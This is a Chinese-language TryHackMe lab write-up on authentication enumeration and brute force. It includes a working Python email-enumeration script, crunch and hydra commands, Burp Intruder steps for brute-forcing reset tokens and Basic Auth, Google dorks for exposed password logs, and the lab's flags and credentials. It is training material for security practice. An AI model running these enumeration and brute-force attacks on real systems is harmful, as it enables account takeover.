【THM】Enumeration & Brute Force(枚举和暴力猜解)-学习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/enumerationbruteforce
本文相关内容:枚举和暴力猜解身份验证机制。

介绍
身份验证枚举是安全测试的一个基本方面,在这个过程中需要特别关注的是保护 Web 应用程序敏感信息方面的机制,此过程涉及系统地检查各种身份验证组件,从用户名验证到密码策略和会话管理,这些元素中的每一个都需要经过精心测试,因为它们代表着潜在的漏洞,如果被恶意利用,就可能会导致产生危害重大的安全漏洞。
学习目标
在完成本文内容的学习之后,你将:
- 了解枚举的重要性以及它如何为有效的暴力猜解攻击奠定基础。
- 学习高级枚举方法,主要关注从详细的错误消息中提取信息。
- 理解枚举与破坏身份验证机制的暴力猜解攻击之间的关系。
- 获得关于枚举和暴力猜解攻击的工具和技术的实践使用经验。
前置学习基础
在开始学习本文内容之前,建议对以下概念有基本的了解:
- 熟悉HTTP和 HTTPS,包括请求/响应结构和常见的状态码。
- 有使用Burp Suite等类似工具的经验。
- 基本掌握如何导航和使用Linux命令行。
在与本文相关的 TryHackMe 实验房间页面中,点击“Start Machine”按钮,即可快速部署实验虚拟机。成功获得该实验虚拟机所对应的 IP 地址后,我们就可以使用 AttackBox 攻击机来攻击它,或者也可以将我们自己的本地VM作为攻击机(此时需要使用TryHackMe的提供的VPN连接到TryHackMe的实验网络环境)。


我们还需要将实验虚拟机(即目标机器)的 MACHINE_IP 添加到攻击机上的 /etc/hosts 文件中。
#编辑攻击机的/etc/hosts文件
MACHINE_IP enum.thm #添加这一行,请在此处用实际的实验虚拟机IP地址填充MACHINE_IP的值
部署实验环境并配置攻击机上的hosts文件,等待3分钟后,我们就可以通过在攻击机上浏览 http://enum.thm 以访问目标机器所提供的Web服务。
tips:建议使用AttackBox作为攻击机来完成与本文内容相关的实践操作。
身份验证枚举
把自己想象成一名数字侦探。我们不仅仅要收集线索,更要理解这些线索所揭示的系统安全状况。这就是身份验证枚举所涉及的本质。它就像在拼凑一个拼图,而不仅仅是在清单上勾选项目。

身份验证枚举犹如剥开洋葱的层层外衣——你每揭开一层系统防护,便能进一步窥见底层真实的运行逻辑。这绝非例行检查那么简单,而是要洞悉整个安全架构的关联本质。
识别有效用户名
如果知道了有效的用户名,那么攻击者就只需要关注密码部分。你可以通过多种方式来推断用户名,比如观察应用程序在登录或重置密码时的响应方式。例如,明确指出“this account doesn't exist-此帐户不存在”或“incorrect password-密码不正确”的错误消息可能会暗示什么用户名是有效的,从而能够使攻击者的工作更加轻松一些。
密码策略
创建密码时的指导方针可以为了解应用程序中使用的密码的复杂性提供有价值的见解。通过了解这些策略,攻击者可以评估密码的潜在复杂性,并相应地调整其策略。例如,以下PHP代码使用正则表达式来要求密码包含符号、数字和大写字母:
<?php
$password = $_POST['pass']; // Example1
$pattern = '/^(?=.*[A-Z])(?=.*\d)(?=.*[\W_]).+$/';
if (preg_match($pattern, $password)) {
echo "Password is valid.";
} else {
echo "Password is invalid. It must contain at least one uppercase letter, one number, and one symbol.";
}
?>
在上面的示例中,如果提供的密码不满足pattern变量中定义的策略,那么应用程序将返回一条错误消息,显示上述正则表达式代码对于密码的要求。攻击者可能会据此生成一个能够满足此密码策略的字典。
在常见的位置进行枚举
Web应用程序拥有很多让用户使用起来更加方便的丰富功能,但这也可能使他们面临一些安全风险:
注册页面(Registration Pages)
在注册页面,Web应用程序通常会立即指示某个电子邮件地址或用户名是否可用,从而使用户注册过程更加简单明了且信息丰富。虽然此反馈旨在增强用户体验,但它可能会在无意中起到双重作用。如果注册尝试会导致显示一条消息,提示该用户名或电子邮件地址已被占用,那么应用程序无意中向任何尝试注册的人确认了该用户名或电子邮件地址的存在。攻击者可以恶意利用此功能来测试潜在的用户名或电子邮件地址,从而可以汇总出包含了可能有效的用户名的列表,而无需直接访问目标的底层数据库。
密码重置功能(Password Reset Features)
密码重置机制旨在帮助用户通过输入他们的详细信息以接收重置指令来重新获得对其帐户的访问权限。然而,应用程序响应的差异可能会无意中泄露敏感信息。例如,应用程序关于用户名是否存在的反馈差异可以帮助攻击者验证用户身份。通过分析这些响应,攻击者可以优化他们的有效用户名列表,从而大大提高后续攻击的有效性。
详细错误信息(Verbose Errors)
登录尝试或其他交互过程中出现的“详细错误消息”可能会透露过多信息。当“username not found-未找到用户名”和“incorrect password-密码不正确”这些消息出现时,它们旨在帮助用户了解他们的登录问题。然而,这也为攻击者提供了关于有效用户名的明确线索,攻击者可以利用这些线索来执行更有针对性的攻击。
数据泄露信息(Data Breach Information)
来自过往的安全漏洞事件中的数据对于攻击者来说是一个金矿,因为它允许攻击者测试一些已泄露的用户名和密码是否可以在不同的平台上被重复使用。如果攻击者能够找到成功的匹配项,那么这不仅表明某个用户名在被重复使用,而且还表明某些密码可能也能被回收利用,尤其是在目标平台之前曾被入侵的情况下。此技术展示了单个数据泄露事件的影响将如何波及多个平台,因为攻击者可以尝试利用各种在线身份之间的联系。
答题
哪些类型的错误消息会无意中向攻击者提供关于有效用户名的确认?
tips:这发生在登录尝试或者其他交互过程中,可能泄露了太多信息。
Verbose Errors

通过详细错误信息枚举用户
理解详细错误信息
想象一下,你是一名侦探,能发现别人可能忽略的线索。在 Web 开发的世界中,详细错误(verbose errors)就像系统无意识中发出的低语,透露了本应被隐藏的秘密。这些详细的错误消息在调试过程中非常宝贵,可以帮助开发人员准确了解问题所在。然而,就像无意中听到的对话可能会透露过多的信息一样,这些详细错误信息可能会无意中将敏感数据暴露给那些知道如何倾听的人。

详细错误有时可以变成信息的金矿,为我们提供诸如以下的见解:
-
内部路径(Internal Paths) :就像通往隐藏宝藏的地图一样,这些路径揭示了应用程序服务器的文件路径和目录结构,其中可能包含普通用户不可见的配置文件或密钥。
-
数据库详细信息(Database Details) :这些错误将为我们提供对数据库的一瞥,从而可能会泄露表名和列详细信息等机密内容。
-
用户信息(User Information) :有时,这些错误甚至可能会暗示用户名或其他个人数据,为进一步调查提供至关重要的线索。
诱导详细错误信息
攻击者可以有意诱导详细错误信息,迫使应用程序泄露其机密信息。下面是一些常见的用来引发此类错误提示的常见技术:
-
无效登录尝试(Invalid Login Attempts) :这就像去敲每一扇门,看看哪一扇会打开一样。通过故意输入错误的用户名或密码,攻击者可以触发错误消息,从而帮助他们区分有效和无效的用户名。例如, 输入不存在的用户名可能会触发与输入已存在的用户名不同的错误消息,从而可以显示哪些用户名是有效的。
-
SQL 注入(SQL Injection) :这种技术涉及将恶意SQL命令插入到输入字段,希望系统能够出错并显示关于其数据库结构的信息。例如,在登录字段中放置一个单引号 (
') 可能会导致数据库抛出错误,从而无意中暴露关于其架构(schema)的细节。 -
文件包含/路径遍历(File Inclusion/Path Traversal) :通过操纵文件路径,攻击者可以尝试访问受限制的文件,从而诱使系统出现错误,以显示内部路径。例如,使用像
../../这样的目录遍历序列可能会导致“泄露受限制的文件路径”的错误。 -
表单操作(Form Manipulation) :调整表单字段或参数可能会诱使应用程序显示错误,从而泄露后端逻辑或敏感用户信息。例如, 修改隐藏的表单字段以触发验证错误,这可能会泄露预期的数据格式或结构。
-
应用程序模糊测试(Application Fuzzing) :向应用程序的各个部分发送意外的输入,并观察其如何反应,这有助于我们识别应用程序上存在缺陷的点。例如,我们可以使用像Burp Suite Intruder这样的工具来自动化该过程,用各种有效负载轰炸应用程序,看看哪些有效负载会引发信息错误。
枚举和暴力猜解的作用
当涉及到破坏身份验证机制时,枚举和暴力破解通常是齐头并进的:
-
用户枚举 :为发现有效的用户名奠定基础,可以减少后续的暴力猜解攻击中的无效猜测。
-
利用详细错误 :从这些错误中所获得的宝贵见解可以阐明密码策略和帐户锁定机制等方面的内容,可以为更有效的暴力猜解策略铺平道路。
总之,详细错误信息就像能够指路的面包屑一样,能够引导攻击者深入到系统中,为他们提供制定策略所需的宝贵见解,并可能会以难以察觉的方式危及目标系统的安全性,等到被发现时可能为时已晚。
身份验证表单中的枚举
在这份HackerOne报告中,攻击者能够使用该网站的“Forget Password-忘记密码”功能来枚举用户。同样,我们也可以枚举登录表单中的电子邮件地址。例如,在本文的实验环境中,我们可以导航至http://enum.thm/labs/verbose_login/并在电子邮件输入字段中输入任意的电子邮件地址。
当你输入无效的电子邮件地址时,网站将回应“Email does not exist-电子邮件不存在”的提示,表明该邮箱地址尚未被注册。

但是,如果该电子邮件地址已经被注册过,网站就会回应类似于“Invalid password-无效密码”这样的错误消息,表明该电子邮件地址已经存在于目标系统的数据库中,但是你所输入的密码不正确。

自动化枚举
下面是一个 Python 脚本,它将会检查目标 Web 应用程序中的有效电子邮件地址。我们可以将以下代码保存为script.py。
import requests
import sys
def check_email(email):
url = 'http://enum.thm/labs/verbose_login/functions.php' # Location of the login function 登录功能的位置
headers = {
'Host': 'enum.thm',
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://enum.thm',
'Connection': 'close',
'Referer': 'http://enum.thm/labs/verbose_login/',
}
data = {
'username': email,
'password': 'password', # Use a random password as we are only checking the email 使用任意密码,因为我们只是在检查电子邮件地址
'function': 'login'
}
response = requests.post(url, headers=headers, data=data)
return response.json()
def enumerate_emails(email_file):
valid_emails = []
invalid_error = "Email does not exist" # Error message for invalid emails 关于"invalid emails-无效电子邮件地址"的错误消息
with open(email_file, 'r') as file:
emails = file.readlines()
for email in emails:
email = email.strip() # Remove any leading/trailing whitespace 删除任何开头/结尾的空白
if email:
response_json = check_email(email)
if response_json['status'] == 'error' and invalid_error in response_json['message']:
print(f"[INVALID] {email}")
else:
print(f"[VALID] {email}")
valid_emails.append(email)
return valid_emails
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 script.py <email_list_file>")
sys.exit(1)
email_file = sys.argv[1]
valid_emails = enumerate_emails(email_file)
print("\nValid emails found:")
for valid_email in valid_emails:
print(valid_email)
分段解释上述脚本内容:
#Imports:
#导入:
#requests: A Python library for making HTTP requests. This is used to interact with the web server by sending POST requests to the target endpoint.
#请求:用于发出 HTTP 请求的 Python 库。它被用于通过向目标端点发送 POST 请求来与 Web 服务器进行交互。
import requests
#Setup:
#设置:
#url: The script targets the endpoint handling the login functionality of the application.
#url:该脚本将针对处理应用程序登录功能的端点。
url = 'http://enum.thm/labs/verbose_login/functions.php'
#headers: A collection of HTTP headers is defined to mimic a typical browser request, ensuring the requests appear legitimate.
#标头:定义一组 HTTP 标头来模拟典型的浏览器请求,确保请求看起来合法。
headers = {
'Host': 'enum.thm',
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://enum.thm',
'Connection': 'close',
'Referer': 'http://enum.thm/labs/verbose_login/',
}
#Variables Initialization:
#变量初始化:
#valid_emails: An array stores email addresses confirmed to be valid.
#valid_emails:一个数组,存储被确认为有效的电子邮件地址。
valid_emails = []
#invalid_error: A string contains the specific error message used to identify invalid emails.
#invalid_error:包含用于识别无效电子邮件地址的特定错误消息的字符串。
invalid_error = 'Email does not exist'
#Main Loop:
#主循环:
#The script reads email addresses from a provided file and checks each for validity using the check_email function.
#该脚本将从一个被提供的文件中读取电子邮件地址,并使用 check_email 函数来检查每个地址的有效性。
for email in email_list:
check_email(email)
#Crafting and Sending HTTP Requests:
#制作和发送 HTTP 请求:
#For each email, the script constructs a data dictionary that includes the email address, a placeholder password, and a command to execute the 'login' function.
#对于每个电子邮件地址,该脚本都会构建一个数据字典,其中包括了电子邮件地址、占位符密码和执行'login-登录'功能的命令。
data = {'username': email, 'password': 'password', 'action': 'login'}
response = requests.post(url, headers=headers, data=data)
#Response Handling:
#响应处理:
#The response from the server is processed to check if the provided email exists, based on the presence of the specific error message in the JSON data.
#根据 JSON 数据中是否存在特定的错误消息,处理来自服务器的响应以检查所提供的电子邮件地址是否确实存在。
if invalid_error in response.text:
print(f"{email} is invalid.")
else:
print(f"{email} is valid.")
valid_emails.append(email)
#Character Verification:
#字符验证:
#Emails confirmed to exist are added to the valid_emails list, with each email's validity logged to the console.
#确认应用程序中已存在的电子邮件地址(即有效的电子邮件地址)将被添加到 valid_emails 列表中,并将每一个有效的电子邮件地址输出到控制台界面。
for email in valid_emails:
print(f"Valid email found: {email}")
我们可以使用下面这个存储库中的通用电子邮件列表作为字典。

下载如上图所示的通用电子邮件列表文件后,我们可以在AttackBox或者我们自己的本地攻击机上使用上述的script.py脚本来检查出有效的电子邮件地址。
注意: 强烈建议使用 AttackBox 执行此任务。
user@tryhackme $ python3 script.py usernames_gmail.com.txt
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[INVALID] xxxxxx@gmail.com
[VALID] xxxxxx@gmail.com
答题
查看本小节内容并回答以下问题。
在执行本小节的相关实验操作之前先部署好实验环境。
#编辑攻击机的/etc/hosts文件
cat /etc/hosts
nano /etc/hosts
#添加如下所示的一行内容,请在此处用实际的实验虚拟机IP地址填充MACHINE_IP的值
#MACHINE_IP enum.thm
10.10.164.64 enum.thm

验证hosts配置情况——在攻击机上使用浏览器访问:http://enum.thm/labs/verbose_login/

根据本小节的示例,列表中的有效电子邮件地址是什么?
tips:尝试使用 python3 script.py usernames_gmail.com.txt | grep -v INVALID 命令来加快获取关键信息的速度,这个命令将会过滤并排除输出结果中所有包含"INVALID"字符串的行。
#使用攻击机终端执行命令
#先下载列表文件,注意链接中需要有raw
wget https://raw.githubusercontent.com/nyxgeek/username-lists/refs/heads/master/usernames-top100/usernames_gmail.com.txt
nano script.py
python3 script.py usernames_gmail.com.txt | grep -v INVALID


canderson@gmail.com

利用易受攻击的密码重置逻辑
密码重置流程漏洞
密码重置机制是现代 Web 应用程序中能够为用户体验提供便捷性的重要组成部分。然而,此机制的实现需要经过谨慎的安全考量,因为安全性较差的密码重置流程很容易被攻击者恶意利用。
Email-Based Reset(基于电子邮件的重置)
当用户重置密码时,应用程序会向用户所注册的电子邮件地址发送一封包含重置链接或令牌的电子邮件,然后,用户可以单击此链接,该链接会将他们引导至一个可以输入新密码并进行确认的页面,或者系统将自动为用户生成新密码。此方法在很大程度上依赖于用户电子邮件帐户的安全性以及被发送的链接或令牌的保密性。
Security Question-Based Reset(基于安全问题的重置)
这涉及了用户如何回答他们在创建帐户时设置的一系列预先配置的安全问题。如果答案正确,系统将允许用户继续重置密码。虽然此方法通过仅要求用户提供他们应该知道的信息来增加了一层安全性,但如果攻击者获得了关于个人身份信息(PII)的访问权限,那么这种密码重置机制就可能会被破坏。
tips:这些用户个人信息(PII)有时候很容易被找到或者被猜测到。
SMS-Based Reset(基于短信的重置)
此功能与基于电子邮件的密码重置机制类似,但在这里会使用短信将重置代码或链接直接发送到用户的手机上。用户在收到相关的重置代码后,就可以在被提供的网页上输入该重置代码以访问密码重置功能。此方法将假设针对用户手机的访问是安全的,但这种密码重置方法也可能会受到 SIM 交换攻击或拦截的影响。
上面提到的每种密码重置方法都有其缺陷:
-
可预测的令牌(Predictable Tokens):如果链接或短信中所使用的重置令牌是可预测的或者遵循一定的序列模式,那么攻击者就可能会通过猜测或暴力破解的方法来生成有效的重置 URL。
-
令牌过期问题(Token Expiration Issues):令牌有效期过长或令牌使用后未立即过期,就可能会给攻击者提供机会窗口。因此,确保令牌迅速过期以限制这一机会窗口是至关重要的。
-
验证不足(Insufficient Validation):如果安全问题太常见或者电子邮件帐户遭到泄露,那么在密码重置流程中用于验证用户身份的机制(例如安全问题或基于电子邮件的身份验证)就可能会很脆弱并且容易被恶意利用。
-
信息泄露(Information Disclosure):任何指示电子邮件地址或用户名是否已注册的错误消息都可能会无意中帮助攻击者进行枚举,从而让他们能够确认有效帐户的存在。
-
不安全的传输(Insecure Transport):通过非 HTTPS 连接传输重置链接或令牌,可能会将这些关键元素暴露给网络窃听者并被他们所拦截。
利用可预测的Tokens
简单、可预测或过期时间较长的令牌特别容易受到拦截或暴力猜解的影响。例如,Predictable Tokens lab中所托管的易受攻击的应用程序可能会使用以下代码:
$token = mt_rand(100, 200);
$query = $conn->prepare("UPDATE users SET reset_token = ? WHERE email = ?");
$query->bind_param("ss", $token, $email);
$query->execute();
上面的代码设置了一个随机的三位数 PIN 码作为已提交的电子邮件的密码重置令牌。由于此令牌没有使用混合字符,因此很容易被暴力猜解。
为了演示这一点,我们可以使用攻击机访问: http://enum.thm/labs/predictable_tokens/

导航到目标应用程序的密码重置页面,在电子邮件输入字段中输入“admin@admin.com”,然后单击“Submit-提交”。

此时应用程序将以一条成功消息作为响应。

For demonstration purposes, the web application uses the reset link: http://enum.thm/labs/predictable_tokens/reset_password.php?token=123
出于演示目的,我们假设Web应用程序会使用这样的密码重置链接: http://enum.thm/labs/predictable_tokens/reset_password.php?token=123

请注意,此处的 token 是一个简单的数字值,所以我们将访问上述 URL 并使用Burp Suite捕获相关的请求。
随后,将该请求发送给Intruder,突出显示令牌参数的值,然后单击添加 Add§ 按钮,如下所示。

打开 AttackBox 或者你自己的虚拟攻击机,在终端界面使用 Crunch 生成从 100 到 200 的数字列表。此列表文件将用作暴力猜解攻击中的字典。
user@tryhackme $ crunch 3 3 -o otp.txt -t %%% -s 100 -e 200
Crunch will now generate the following amount of data: 404 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 101
crunch: 100% completed generating output
返回 Intruder 界面并配置有效负载(Payload)以使用刚才生成的字典文件。


如果你使用的是Burp Suite社区版,上述攻击示例将需要一些时间才能完成。但是,一旦攻击成功,你将收到比带有“Invalid token-无效令牌”错误的响应内容更长的响应消息。

我们使用新密码登录目标Web应用程序即可。

请注意,大多数 Web 应用程序会使用 6 位数的密码重置代码而不是 3 位。由于我们在本小节的演示示例中使用的Burp Suite的社区版,因此在该示例中使用的是位数较少的值。
答题
flag的内容是什么?
tips:不要忘记在暴力猜解令牌之前先发出密码重置请求。
查看本小节内容中的演示示例,在攻击机上执行类似的操作步骤。
使用攻击机访问: http://enum.thm/labs/predictable_tokens/

导航到目标应用程序的密码重置页面,在电子邮件输入字段中输入“admin@admin.com”,然后单击“Submit-提交”。


此时应用程序将以一条成功消息作为响应。

访问上文所提及的Web应用程序密码重置链接: http://enum.thm/labs/predictable_tokens/reset_password.php?token=123

打开Burp并捕获上图所示的这个连接(启用Burp代理之后,重新在浏览器加载上图中的URL请求即可进行拦截)。

随后,将该请求发送给Intruder,突出显示令牌参数的值,然后单击添加Add§按钮。

打开 AttackBox 或者你自己的虚拟攻击机,在终端界面使用 Crunch 生成从 100 到 200 的数字列表。此列表文件将用作暴力猜解攻击中的字典。
crunch 3 3 -o otp.txt -t %%% -s 100 -e 200


返回Burp Intruder 界面并配置有效负载(Payload)以使用刚才生成的字典文件。

开始攻击,然后耐心等待,然后查看结果,最后使用新密码在登录页面尝试登录(用户名是我们在重置密码页面提交的电子邮件字段-admin@admin.com)。

#访问:http://enum.thm/labs/predictable_tokens/
admin@admin.com
AJj5WOsI

THM{50_pr3d1ct4BL333!!} 。

利用 HTTP 基本认证
还在用基本认证?
基本认证(Basic Authentication)提供了一种更直接的方法来保护设备访问。它只需要用户名和密码,因此在处理能力有限的设备上也易于实施和管理。 路由器等网络设备通常会使用基本认证来控制对其管理界面的访问。在这种情况下,主要的目标是通过最少的设置来防止未经授权的访问。
虽然基本认证不能像 OAuth 或者基于令牌(token-based)的身份验证等更复杂的方案那样可提供强大的安全功能,但它的简单性使其非常适合那些不需要会话管理和用户跟踪或者以其他方式进行管理的环境。例如,在路由器等主要用于配置更改而非常规使用的设备中,维护会话状态的开销是不必要的,并且可能会使设备性能复杂化。
HTTP基本认证/HTTP基本身份验证是在RFC 7617中被定义的,该规范规定凭据(用户名和密码)应以base64编码的字符串形式在HTTP Authorization标头中被传输。此方法简单易行,但在非 HTTPS 连接上并不安全,因为base64并不是一种加密方法,而且可以轻松地被解码。真正的威胁通常来自于那些可以被暴力猜解的弱凭据。
HTTP基本认证/HTTP基本身份验证(HTTP Basic Authentication)提供了一种可用于请求用户凭据的简单质询-响应机制(challenge-response mechanism)。

tips:https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication
Authorization标头的格式将如下所示:
Authorization: Basic <credentials>
其中 <credentials> 是username:password的base64编码形式,详细规范请参见 RFC 7617。
tips:HTTP Authorization(授权) 标头是一个用于在客户端与服务器之间传送认证凭证的 HTTP 请求标头。
漏洞利用示例
为了演示这一点,请使用攻击机的浏览器访问:http://enum.thm/labs/basic_auth/

在弹出窗口中输入任意用户名和密码,并使用Burp捕获这个基本认证请求(Basic Auth Request)。


右键单击该请求并将其发送给Intruder。

在Burp Intruder中,转到“Positions-位置”选项卡并解码Authorization标头中的base64编码形式的字符串。

完成解码后,请突出显示解码后的字符串并单击右上角的Add§按钮。

接下来是配置有效负载。转到Payloads选项卡,将有效负载类型设置为Simple list,并选择你喜欢的单词列表。在本示例中,我们将使用SecLists中的500-worst password .txt。如果你正在使用AttackBox,则可以使用位于/usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt的相同单词列表文件。

由于标头是base64编码的,因此我们需要在Payload processing部分中添加两条规则。第一条规则是添加前缀admin:,这会自动将用户名添加到密码中,因此有效负载将会是"admin:123456"这样的形式,而不是123456。

第二条规则将对由列表文件中的密码与前缀用户名所形成的组合进行整体base64编码处理。

我们还应该从编码中删除字符“=”(等号),因为base64会使用“=”作为填充。为此,向下滚动界面并从Payload encoding部分的字符列表中删除“=”符号。

完成上述操作后,回到位置(Positions)选项卡并单击开始攻击(Start Attack)按钮。这个攻击示例将花费不到两分钟的时间完成。

一旦收到状态码200,这意味着我们的暴力猜解攻击成功,并且说明我们所提供的列表文件中的某个密码是有效的。接下来,我们还要对成功的请求中的base64字符串进行解码处理。

最后我们再使用解码后的base64字符串作为登录凭据来登录到目标应用程序。

答题
完成本小节示例可以看到的flag内容是什么?
tips:我们还可以尝试使用 Hydra 而不是 Burp 来暴力破解密码。
查看本小节内容中的演示示例,在攻击机上执行类似的操作步骤。
使用攻击机的浏览器访问:http://enum.thm/labs/basic_auth/

在弹出窗口中输入任意用户名和密码,并使用Burp捕获这个基本认证请求(Basic Auth Request)。
#为了捕获与HTTP基本认证相关的请求,我们需要先打开Burp并启用Burp代理,然后再在浏览器中输入用户名+密码
admin
admin


右键单击请求并将其发送给Intruder。
在Burp Intruder中,解码Authorization标头中的base64编码形式的字符串。

完成解码后,请突出显示解码后的字符串并单击Add§按钮。

接下来是配置有效负载。转到Payloads选项卡,将有效负载类型设置为Simple list,并选择你喜欢的单词列表。在本示例中,我们将使用SecLists中的500-worst password .txt。如果你正在使用AttackBox,则可以使用位于/usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt的相同单词列表文件。

由于标头是base64编码的,因此我们需要在Payload processing部分中添加两条规则。第一条规则是添加前缀admin:,这会自动将用户名添加到密码中,因此有效负载将会是"admin:123456"这样的形式,而不是123456。

第二条规则将对由列表文件中的密码与前缀用户名所形成的组合进行整体base64编码处理。

我们还应该从默认URL编码中删除字符“=”(等号),因为base64会使用“=”作为填充。为此,向下滚动界面并从Payload encoding部分的字符列表中删除“=”。

完成上述操作后,在Intruder界面单击Start Attack(开始攻击)按钮,耐心等待(网络环境不好的话就会耗时很久)。

一旦收到状态码200,这意味着我们的暴力猜解攻击成功,并且说明我们所提供的列表文件中的某个密码是有效的。接下来,我们还要对成功的请求中的base64字符串进行解码处理。



最后我们再使用解码后的base64字符串作为登录凭据来登录到目标应用程序:http://enum.thm/labs/basic_auth/
admin:yellow


此外,我们也可以尝试使用hydra进行暴力猜解。
在攻击机终端执行命令:
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt 10.10.164.64 http-get "/labs/basic_auth/"

#在攻击机上使用浏览器访问:http://enum.thm/labs/basic_auth/
admin
yellow


THM{b4$$1C_AuTTHHH} 。

OSINT(开源情报)
挖掘一个web应用程序的过去可以像研究它的现在一样向我们揭示一些可能有用的信息。
Wayback URLs
把Internet Archive's Wayback Machine( https://archive.org/web/ ) 想象成一台时光机。它可以让你回到过去,去探索一个网站的旧版本,发现那些不再可见但可能仍残留在服务器上的文件和目录。这些遗留物有时可以提供进入当前系统的后门。
tips:Internet Archive's Wayback Machine-互联网档案馆的时光机。

例如,以TryHackMe为目标,在 https://archive.org/web/ 上我们可以看到TryHackMe网站从2018年到现在的所有过去版本。

如果想转储保存在Wayback Machine中的所有链接,我们可以使用一个名为waybackurls的工具,它被托管在GitHub上,我们可以通过使用以下命令轻松地将其安装到我们的攻击机上:
注意: 建议使用你自己的虚拟机安装此工具。
user@tryhackme $ git clone https://github.com/tomnomnom/waybackurls
user@tryhackme $ cd waybackurls
user@tryhackme $ sudo apt install golang-go -y # This command is optional
user@tryhackme $ go build
user@tryhackme $ ls -lah
total 6.6M
drwxr-xr-x 4 user user 4.0K Jul 1 18:20 .
drwxr-xr-x 9 user user 4.0K Jul 1 18:20 ..
drwxr-xr-x 8 user user 4.0K Jul 1 18:20 .git
-rw-r--r-- 1 user user 36 Jul 1 18:20 .gitignore
-rw-r--r-- 1 user user 454 Jul 1 18:20 README.mkd
-rw-r--r-- 1 user user 49 Jul 1 18:20 go.mod
-rw-r--r-- 1 user user 5.4K Jul 1 18:20 main.go
drwxr-xr-x 2 user user 4.0K Jul 1 18:20 script
-rwxr-xr-x 1 user user 6.5M Jul 1 18:20 waybackurls
user@tryhackme $ ./waybackurls tryhackme.com
[-- snip --]
https://tryhackme.com/.well-known/ai-plugin.json
https://tryhackme.com/.well-known/assetlinks.json
https://tryhackme.com/.well-known/dnt-policy.txt
https://tryhackme.com/.well-known/gpc.json
https://tryhackme.com/.well-known/nodeinfo
https://tryhackme.com/.well-known/openid-configuration
https://tryhackme.com/.well-known/security.txt
https://tryhackme.com/.well-known/trust.txt
[-- snip --]
Google Dorks
Google Dorks可以展现你对搜索引擎的精通之处。通过编写特定的搜索查询(被称为Google Dorks),你可以尝试找到一些不应该被公开的信息。这些查询可以提取——从公开的管理目录到包含密码、敏感目录索引的日志的所有内容。例如:
- 查找管理(administrative)面板:
site:example.com inurl:admin - 挖掘带有密码的日志文件:
filetype:log "password" site:example.com - 尝试发现备份目录:
intitle:"index of" "backup" site:example.com
这部分内容可以自行拓展。
本文小结
在本文中,我们探讨了针对目标Web应用程序进行枚举和暴力猜解攻击的各个方面,这将使你具备进行全面安全评估所需的一些知识和实践技能。
本文的关键要点
-
有效的枚举:正确的枚举对于识别web应用程序中的潜在漏洞至关重要,使用合适的工具和技术可以为我们揭示有价值的信息,有助于我们规划进一步的攻击。
-
暴力猜解的效率:如何优化暴力猜解攻击?这主要涉及了如何创建更加智能的字典、管理攻击参数、避免检测机制的影响(如速率限制和帐户锁定等)。
-
道德责任:渗透测试人员只有在得到系统所有者明确许可的情况下才能进行相关的枚举和暴力猜解攻击,一切未经授权的渗透攻击都是非法的,都可能造成严重的后果。

枚举和暴力猜解身份验证机制。
浙公网安备 33010602011771号